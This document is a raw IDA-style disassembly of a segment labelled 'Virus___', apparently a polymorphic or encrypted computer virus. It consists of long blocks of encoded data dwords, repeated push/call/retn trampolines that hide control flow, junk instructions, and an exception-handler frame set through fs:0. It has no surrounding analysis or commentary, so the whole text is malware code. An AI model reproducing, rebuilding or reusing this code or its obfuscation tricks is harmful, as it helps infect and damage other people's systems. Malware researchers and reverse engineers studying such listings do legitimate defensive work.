		dd 0B58B095Dh, 960A558h, 0DE65F781h, 6C70B96h, 10001h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h
		dd 96D18DBBh, 28B0Fh, 0D98B0000h, 9671B350h, 3FE705BBh
		dd 64B5FF33h, 230960A5h, 5D19D59Dh, 0FD95FF09h,	6A095D05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C2F3C352h, 46F4B658h, 0BFC7BC73h, 423ABF6Dh
		dd 0A558B58Bh, 6A0960h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0AFDA73C3h, 5870Fh, 1BF0000h, 0F14FCDFh
		dd 88h,	4D858B00h, 1095D30h, 5D2871BDh,	0C4868909h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0FCD2C357h, 33F8839Fh, 5D2091BDh,	19958B09h
		dd 6A095D09h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 6C09C352h, 295C8234h, 0ECBF07FEh
		dd 835A1A5Ch, 830F04C2h, 6, 12F59529h, 5089095Dh, 0DD852920h
		dd 8D095D25h, 60BBC185h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0D8BB6666h, 0D78166D0h
		dd 8689A9BEh, 0B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 6BC35343h, 3C63B023h,	0F1A8AC64h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0FA7EB0C3h, 95898CD0h, 95D1911h, 0AE9h, 0D9259B00h
		dd 0BFF2E2D1h, 0FF56FDEAh, 60A564B5h, 68C0F09h,	8B000000h
		dd 5D29F9BDh, 0C995FF09h, 6A095D14h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 875C352h
		dd 0B2211CA2h, 0AB04FED4h, 1A7DB529h, 9D8B095Dh, 95D1EC9h
		dd 40BB6696h, 6A96500Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 5603C357h, 0DE9h, 2164DF00h
		dd 15C0EFEAh, 66CD7F3Ah, 8B6021F6h, 5D291DBDh, 61DA8B09h
		dd 0A564B5FFh, 5B530960h, 137D95FFh, 6A095Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2A8E79C3h
		dd 1B91EBF0h, 0D1BD83B3h, 95D19h, 3B840Fh, 8B0F0000h, 6
		dd 1EB1BD2Bh, 8D89095Dh, 95D24F5h, 50D98A96h, 1735BB66h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 2393401Fh, 64B5FF18h, 0E90960A5h, 0Eh, 349D069Fh
		dd 11FF97BDh, 864EE295h, 95FF81CCh, 95D2F95h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AFC35747h, 78BF10BDh
		dd 7E960h, 0A4A70000h, 637F70C0h, 0FBBF0F7Dh, 14E961h
		dd 65CB0000h, 54D9AE12h, 0AAC5C48Dh, 6196E3B4h,	0C157DE0Dh
		dd 0B5FFDC99h, 960A564h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 64C35040h, 143679F7h,	666608E9h, 9CD8F781h
		dd 179595FFh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0D57F92C3h, 801F8289h, 0BD83D3E3h
		dd 95D0B11h, 3D840F02h,	8B000000h, 5D221585h
		db 9, 89h, 0BDh
dword_5B243B	dd 95D0BD9h	; ---------------------------------------------------------------------------
		mov	[ebp+95D213Dh],	eax
		mov	byte ptr [eax],	0
		push	0
		push	esi
		call	sub_5B2453
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2453	proc near		; CODE XREF: Virus___:005B244Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B2453	endp

; ---------------------------------------------------------------------------
		db 32h
		dd 7C9D3E05h, 9D89FB61h, 95D2655h, 54585C7h, 95Dh, 8A0F0000h
		dd 6, 25F19D8Bh
		db 5Dh,	9
; ---------------------------------------------------------------------------


loc_5B2486:				; CODE XREF: Virus___:005B202Dj
					; Virus___:005B2040j
		jmp	near ptr dword_5B1640+61h
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B2496
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2496	proc near		; CODE XREF: Virus___:005B248Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B2496	endp

; ---------------------------------------------------------------------------
		dw 8964h
		dd 6D66F2D3h, 6E9h, 0B1885100h,	8B9B8F2Eh, 53006AC1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0CE85Ch, 0B3D90000h,	5D6D2316h, 0A04D0071h, 8166BB17h
		dd 5B7D4DCFh, 8DDE8B66h, 5D223985h, 4895009h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2150EEB2h, 0E31E249Eh, 0C381B740h, 0D42249Ch, 14859D8Bh
		dd 6A095Dh, 68A0F57h, 0F000000h, 80h, 6A5F00h, 21059D89h
		dd 0C781095Dh, 7BF03D17h, 7B7A858Dh, 6A0961h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C4DA06C3h
		dd 0BD294118h, 95D04D5h, 0E905C083h, 7,	9DAA44A6h, 90CE9DB0h
		dd 3F492BFh, 9E95042h, 28000000h, 1D35A147h, 5A6D0E90h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 9D3384FCh, 26AD8D89h, 6A095Dh, 6AD98Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BFC35242h
		dd 3B84C446h, 0E837C380h, 0Ch, 3C117408h, 8C41B332h, 0DC416323h
		dd 2095BD89h, 0FF5B095Dh, 5D085195h, 0FBC78109h, 8D7DE6DBh
		dd 60914C8Dh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0DE994h, 22B0000h, 0A8C52ABh, 0F4DD17F2h
		dd 81C866A7h, 537330E7h, 23D1FF78h, 5D0F0DBDh, 71BD8309h
		dd 1095D09h, 50850Fh, 8B660000h, 6A026ADAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h
		dd 2D1EEB81h, 60606050h, 61D38B61h, 0DE8h, 0D4AF0D00h
		dd 0BF0D4845h, 0E8BD775Fh, 0CB8B2390h, 4896158h, 71C78024h
		dd 14C995FFh, 0CDE9095Dh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 9617B84h
		mov	[ebp+95D1389h],	edx
		push	0
		push	eax
		call	sub_5B26CC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B26CC	proc near		; CODE XREF: Virus___:005B26C4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5B26CC	endp

; ---------------------------------------------------------------------------
		mov	ch, 84h
		or	bl, dl
		mov	al, 8Dh
		test	esp, edx
		mov	ah, [eax+9]
		push	0
		push	ebx
		call	sub_5B26F2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B26F2	proc near		; CODE XREF: Virus___:005B26EAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B26F2	endp

; ---------------------------------------------------------------------------
		sahf
		les	ebx, [edx+edx*4-795489B2h]
		mov	[ebp+95D267Dh],	edx
		mov	[ebp+95D2835h],	ecx
		push	eax
		pusha
		mov	di, si
		mov	cl, 80h
		popa
		mov	[esp], eax
		mov	[ebp+95D1729h],	edi
		clc
		push	large dword ptr	fs:0
		mov	di, 0A3BBh
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5B2745
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2745	proc near		; CODE XREF: Virus___:005B273Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B2745	endp

; ---------------------------------------------------------------------------
		db 23h,	0E8h, 7
		dd 81000000h, 6707CD86h, 0D381FBBBh, 3B4A5324h,	6985FF5Bh
		dd 6A095D21h, 11BD31FFh, 0FF095D03h, 5D338DB5h,	50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0F615A49Ah, 43945E96h, 9D299AB4h, 95D3339h, 8A98FCBBh
		dd 8595FF43h, 0E9095D03h, 113h,	171DBD89h, 8D89095Dh, 95D2B7Dh
		dd 8D8900B0h, 95D186Dh,	0BFBF70E6h, 89173439h, 5D1D19B5h
		dd 0F871E409h, 830F613Ch, 0E7h,	21CCDEBBh, 0D9BD0344h
		dd 0F095D03h, 0F52C8B6h, 68Bh, 418D8900h, 5F095D00h, 8D5CFEBBh
		dd 6BA42h, 85090000h, 95D29EDh,	9D89C18Bh, 95D333Dh, 0E804E8C1h
		dd 0Ch,	57BF5544h, 0D0962028h, 8A96DA68h, 665BA7B7h, 8501E2F7h
		dd 95D3235h, 9589C82Bh,	95D0C4Dh, 0E9F9D18Bh, 83h, 0AE14BF66h
		dd 0A29858Bh, 0BD8B095Dh, 95D0B0Dh, 8907C083h, 5D24159Dh
		dd 0C08309h, 2289BD8Bh,	0F860095Dh, 21ED9D8Bh, 3B61095Dh
		dd 1C830FD0h, 0F000000h, 587h, 0E3816600h, 8D29469Bh, 95D16EDh
		dd 3AE9h, 5DBD0300h, 8B095D1Fh,	5D09798Dh, 0F88B6609h
		dd 0F01E183h, 2284h, 0EEECBB00h, 83F9666Eh, 5D0979A5h
		dd 9589FE09h, 95D2075h,	0A299589h, 0BF66095Dh, 0E9F2B4h
		dd 8D000000h, 60F41AB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 171AE926h, 9D8BB335h
		dd 95D0921h, 95FF006Ah,	95D11B1h, 2A159D31h, 0A0B9095Dh
		dd 0F9000007h, 6AFCE183h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0AEDEC351h,	6AFC0Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 8B17B0C3h, 419464A4h, 0F95C06Fh, 13E9FBB7h, 0A9000000h
		dd 8E59BA19h, 0F52872CAh, 945ACF78h, 698A042Fh,	0B83744h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8C7CC350h, 0B3B9F20Ch,	6AD22B76h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6694C350h, 63F8DF81h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	52C35545h, 0ED853100h, 0B095D19h, 5D15399Dh, 880D09h
		dd 0BB660000h, 958B094Bh, 95D0919h, 2859589h, 8D8B095Dh
		dd 95D1349h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0C9C35646h, 0E5D78166h,	0C28B507Ah, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 0Dh, 4DC579B4h
		dd 0F9AAC813h, 740C2E5Ch, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0EF81F196h
		dd 3B859BA4h, 3169BD83h, 0F00095Dh, 6E84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0B36BBAE3h, 0B871h, 0B3BB0000h, 524BF7D9h, 7B58D89h
		dd 8D5B095Dh, 5D4D928Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 53D02735h, 9FCBB91Ah
		dd 66608498h, 0A3F4D981h, 345BD2Bh, 0FF61095Dh,	83DCB3E1h
		dd 5D15F9BDh, 840F0009h, 4B1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 30C35343h, 0F9CE3EC4h, 83DF8B66h
		dd 5D15F9BDh, 840F0109h, 49Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0ADC35646h,	572F89F8h, 26459D8Bh
		dd 835F095Dh, 5D15F9BDh, 860F0309h, 432h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 5FC35343h, 407AA748h
		dd 2F7DBD8Bh, 9E8095Dh,	17000000h, 6B3423CFh, 5BB67977h
		dd 605FF98Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	2AC35343h, 0D2D476C1h, 8B1515BDh, 5D1A5DBDh, 840F6009h
		dd 0Ch,	7E9h, 0FA428300h, 74E3328Ch, 1D018D8Bh,	6661095Dh
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0D87CFEC3h, 8840Fh, 1520000h, 5D24BD9Dh
		dd 0E1805B09h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0B55ED9C8h, 8AA6A076h
		dd 0D9B70FE3h, 6DBD8Bh,	0C90A095Dh, 100840Fh, 8B660000h
		dd 0D858BFEh, 6A095D2Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 265FC350h, 0E78166A9h
		dd 85336A0Dh, 95D2765h,	0BE950F8h, 2F000000h, 0FEB068F6h
		dd 3682FC8h, 489DF53h, 57006A24h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 4B1BC914h, 0BA893D10h
		dd 0F8B70F29h, 298462BFh, 0FC006A26h, 9A823968h, 0F4BB66A3h
		dd 240481BAh, 5C8481C6h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0C1C35040h, 0FF537C27h, 5D0FAD95h, 0FE809h
		dd 0DC150000h, 15A370D4h, 7276F71Bh, 657D653Ch,	0BD895094h
		dd 95D1CB5h, 85895F5Bh,	960A564h, 1F6E9F9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F0FDF4C3h, 66AD4C44h, 563C381h, 1685BD29h, 858B095Dh
		dd 960A55Ch, 0C7F88B66h, 1800h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0DBBF0F28h
		dd 0A560B58Bh, 6A0960h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 6EC042C3h, 0F40A000h, 689h, 29858900h
		dd 8B095D17h, 5D315185h, 12E909h, 30F20000h, 0B4249CB6h
		dd 0DA0A84B5h, 0EDE810B0h, 0AA11DA75h, 6A0689h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0FCC0C0C3h, 8B523D65h, 5D33719Dh, 858B5F09h,	95D2C0Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 59C35141h
		dd 59783F6Eh, 0E4BBCCFCh, 890A7E20h, 6A0446h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8DAA94C3h
		dd 66CBE14Ah, 6037A7BBh, 0BF0FEBB3h, 665061F8h,	89B947BBh
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 899E4CC3h, 5D1B198Dh, 4D958909h, 0FF095D19h
		dd 60A55CB5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0A616DC8Fh, 0B2FBA950h, 0BD8B7296h
		dd 95D1381h, 104EE068h,	81D88BAAh, 0B51F2404h, 6656560Eh
		dd 1C5BE781h, 64858D5Fh, 6A0960A5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 5D46C350h
		dd 0FA8CA1Ch, 68Bh, 0F19D0900h,	56095D10h, 5BFABF0Fh, 24048950h
		dd 95FFDE8Bh, 95D0FADh,	7E9h, 80C0200h,	0FA103253h, 8DBD8961h
		dd 0F095D05h, 78Eh, 1800F00h, 0F8000000h, 15F985C7h, 3095Dh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0FEC781C3h, 0FE915h, 0A5CC0000h, 0E9396BD6h
		dd 0C25243Bh, 5CBA9A35h
		dd 0C7816621h, 0BD83924Bh, 960A564h, 23840F00h,	66000000h
		dd 0F0BA1BBh, 0E8Fh, 85896000h,	95D17E9h, 14B5BD8Bh, 0E961095Dh
		dd 21h,	22998529h, 3050095Dh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0AD8D09C0h, 0F095D2Bh,	28Fh, 29D88B00h
		dd 5D02D195h, 0F9BD8309h, 3095D15h, 468850Fh, 0C6BF0000h
		dd 83790D52h, 60A564BDh, 840F0009h, 456h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 40C35343h, 0A2B796B1h
		dd 0E8711681h, 8, 4027654Eh, 916C14CBh,	0B5FF5FF5h, 960A564h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3DC35646h
		dd 7EDF5284h, 0E5D8CE2Fh, 4A7ABFF2h, 95FF3094h,	95D0A41h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h
		dd 493ED381h, 0B58B1D4Ah, 960A558h, 106C7h, 0CE80001h
		dd 6F000000h, 40ABA8F6h, 4DED302Fh, 0E906F7ABh,	6, 148A11BAh
		dd 965B530Dh, 7DF9BF66h, 0DF8B6650h, 56006A96h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 7490C391h
		dd 85010579h, 95D19D5h,	0A564B5FFh, 0AE90960h, 81000000h
		dd 3EBBBC27h, 241329FBh, 0FD95FFBDh, 6A095D05h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 4EDCC350h, 0B70FB258h, 58B58BFAh, 6A0960A5h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 81B6C357h, 0A86CC8DBh, 858BF56Dh, 95D304Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 99C35343h, 13D5A992h
		dd 0C4868950h, 0F000000h, 686h,	11B58900h, 0E9095D29h
		dd 11h,	28BD378Eh, 74FB3B66h, 2D0DF6BAh, 0FE0244BEh, 19958B2Ah
		dd 0E9095D09h, 9, 3B2CDE40h, 31958699h,	4C28360h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 18C35040h, 3033C9DCh
		dd 0CFFE21h, 0BE97Bh, 0D49D0000h, 0E15EED33h, 0D794C217h
		dd 881ABBF5h, 508922FEh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8DD4974Ch, 59BF6644h
		dd 0C1858D59h, 6A0960BBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0A1EBC350h,	8B3B05B1h
		dd 5D21999Dh, 0B8868909h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BBBDC351h
		dd 0C3869FD9h, 6890F9Fh, 8B000000h, 5D094D9Dh, 0F006A09h
		dd 8166DBB7h, 0FFDA03CFh, 60A564B5h, 57006A09h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 683F5E83h
		dd 73E9A133h, 5E9C9h, 8D130000h, 8B9B1099h, 5D20FD9Dh
		dd 0C995FF09h, 66095D14h, 969311BBh, 0BB525057h, 1BAC0890h
		dd 5F56310Fh, 505F585Ah, 0BB37BB66h, 1958996h, 0FF095D27h
		dd 60A564B5h, 0D3816609h, 95FF6D03h, 95D137Dh, 83FB8B66h
		dd 5D19D1BDh, 840F0009h, 60h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 9FC35343h, 23947E42h, 0E59D33EBh
		dd 0B3095D19h, 34895074h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 3CD4881Eh
		dd 7DDD9667h, 8960AE2Dh, 5D31E585h, 0FD853109h,	61095D18h
		dd 0A564B5FFh, 6A0960h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 301F4AC3h, 0FFD3D4FDh, 5D2F9595h
		dd 1AB0BF09h, 0B5FF1919h, 960A564h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 16C35343h, 148B0Fh,	0FE90000h
		dd 0AB000000h, 6F6351EAh, 66B78AF2h, 41A77598h,	95FFE038h
		dd 95D1795h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	36C35040h, 647C4AB6h, 232F93ECh, 5D15399Dh, 11BD8309h
		dd 2095D0Bh, 24840Fh, 9E80000h,	1F000000h, 546C29CAh, 25B537F6h
		dd 5F5B5352h, 15858B5Fh, 66095D22h, 0C6F98Bh, 0DBDDBB00h
		dd 85C71973h, 95D0545h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5B3453
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3453	proc near		; CODE XREF: Virus___:005B344Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B3453	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 12F9581Bh, 0E9919Ah,	9FFFFF3h, 5D0EF5B5h, 0BFC18B09h
		dd 274C6A2Ch, 2239858Dh, 0B752095Dh, 66505FA6h,	489DA8Bh
		dd 0DABF6624h, 0BB006A70h, 5D3E2AE8h, 0DB81006Ah, 5E39F78Ah
		dd 0EF65BF66h, 8ABD858Dh, 10E90961h, 2000000h, 0FBFCCECBh
		dd 495DF507h, 0CDDBD521h, 8321D88Ah, 0F38105C0h, 230A7B55h
		dd 0AE890h, 0C7BF0000h,	99A46EDCh, 0E58CA359h, 0BE60505Fh
		dd 78A227D8h, 9061E3B3h, 0E5953152h, 5F095D22h,	0FE8B006Ah
		dd 8166006Ah, 81CF8DCFh, 22A244D3h, 5195FF75h, 6A095D08h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8BB1C357h, 5D065DBDh, 0FB8B6609h,	914C8D8Dh
		dd 6A0960h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 3BB7A0C3h, 9D23D1FFh, 95D21C1h, 971BD83h
		dd 0F01095Dh, 8C85h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 6633C57Fh, 890F09BFh
		dd 5D0AF58Dh, 0E9026A09h, 10h, 0DEDFF242h, 0D2B47B31h
		dd 1A2B305Dh, 75854021h, 830F5090h, 0Ch, 0BB665250h, 310F2FCBh
		dd 585A6160h, 0B58B6090h, 95D2655h, 61D6BF0Fh, 14C995FFh
		dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0AADBDCC3h, 0BFC000Ah, 5D04BD9Dh,	0E2AE909h
		dd 0E80000h, 5D000000h,	8AC7ED81h, 9E90961h, 0C8000000h
		dd 3C782CD5h, 0C35B62Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 7CC35343h, 81663F12h,	8DEA65DFh, 608AE285h
		dd 0D8BF0F09h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 90C35747h, 1E202082h,	0F0F8747h, 0FF64D9B7h
		dd 35h,	0DD858900h, 64095D0Ch, 2589h, 0F600000h, 9D01FEBFh
		dd 95D0C85h, 6985FF61h,	6A095D21h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5265C357h
		dd 870FCEB6h, 0
; ---------------------------------------------------------------------------


loc_5B36AC:				; CODE XREF: Virus___:005B440Cj
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_5B36B9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B36B9	proc near		; CODE XREF: Virus___:005B36B1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B36B9	endp

; ---------------------------------------------------------------------------
		db 17h,	26h, 91h
		dd 43457188h, 8B188EF7h, 5D1B2D9Dh, 95B5FF09h, 0E8095D19h
		dd 0Ch,	0CF3457DBh, 244F6066h, 517CEDB9h, 1115BD8Bh, 0FF5F095Dh
		dd 5D038595h, 12DE909h,	850F0000h, 6, 189D9D31h, 0B0095Dh
		dd 13E9h, 0B3AA3A00h, 0BED8E139h, 925C1DC9h, 7B541F0Eh
		dd 84084749h, 0BF0F70E6h, 3371E4F9h, 5D10B9BDh,	0F613C09h
		dd 0F283h, 12E900h, 0F8090000h,	0B347CAA5h, 0BEB36144h
		dd 0E09FA3F2h, 33A64BD1h, 66C8B60Fh, 0BAABA1BBh, 6, 12AD9589h
		dd 0C18B095Dh, 0C7BBBB66h, 6604E8C1h, 0FBCDF781h, 0FE2F766h
		dd 8Bh,	89C82B00h, 5D164D95h, 0E9D18B09h, 0A3h,	9E00BB66h
		dd 13880Fh, 0EE90000h, 0C000000h, 0D6A4AD79h, 21C272D4h
		dd 0E04E3418h, 89858BB6h, 57095D21h, 8E9h, 0BD6D8300h
		dd 324C73D6h, 0DA8B5FA3h, 6607C083h, 0C083DF8Bh, 0F9DA8B00h
		dd 830FD03Bh, 17h, 56E9h, 6E800h, 0D9A50000h, 0CA01B051h
		dd 29D8D31h, 8B5B095Dh,	5D24858Dh, 8D895309h, 95D1125h
		dd 0DDBD295Fh, 83095D09h, 840F01E1h, 27h, 56EF8166h, 85A5834Bh
		dd 0FE095D24h, 1D31BD0Bh, 8B66095Dh, 899589FAh,	66095D21h
		dd 66E080BFh, 0E9D88Bh,	8D000000h, 60FDECB5h, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 9D635F0Bh, 6AA9CFh, 0B9B589F5h, 0FF095D06h, 5D11B195h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F5209Dh, 75958921h, 0B9095D1Fh,	86Eh, 1EEF8166h
		dd 0FCE18348h, 992DEB81h, 0BFFC236Ch, 31B8A47Ch, 7E8h
		dd 8A7EC000h, 3D509AABh, 5BFB8B66h, 6AC02Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FEDBBC3h
		dd 484h, 82BB6600h, 0BA16h, 0B2B70000h,	0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	70C35040h, 6AA673h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0FEA92DC3h, 8E298C87h
		dd 880D761Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 154C353h, 83D64D86h
		dd 87855A56h, 6890Fh, 0BD8B0000h, 95D2255h, 919958Bh, 6A095Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F5374AC3h, 8B94CB80h, 5D13498Dh, 11E909h, 1B0D0000h
		dd 0B7B7910Fh, 85A5158Dh, 222462D8h, 50F04211h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1BE3A7E7h
		dd 0E9DBA1B5h, 0Bh, 0CBEDCEEAh,	44C8DD43h, 0E96DE6E4h
		dd 0Dh,	0FCE8C9C3h, 0D83695CDh,	0DE45BA7Dh, 69BD831Fh
		dd 95D31h, 82840Fh, 95890000h, 95D0F8Dh, 0B8h, 55006A00h
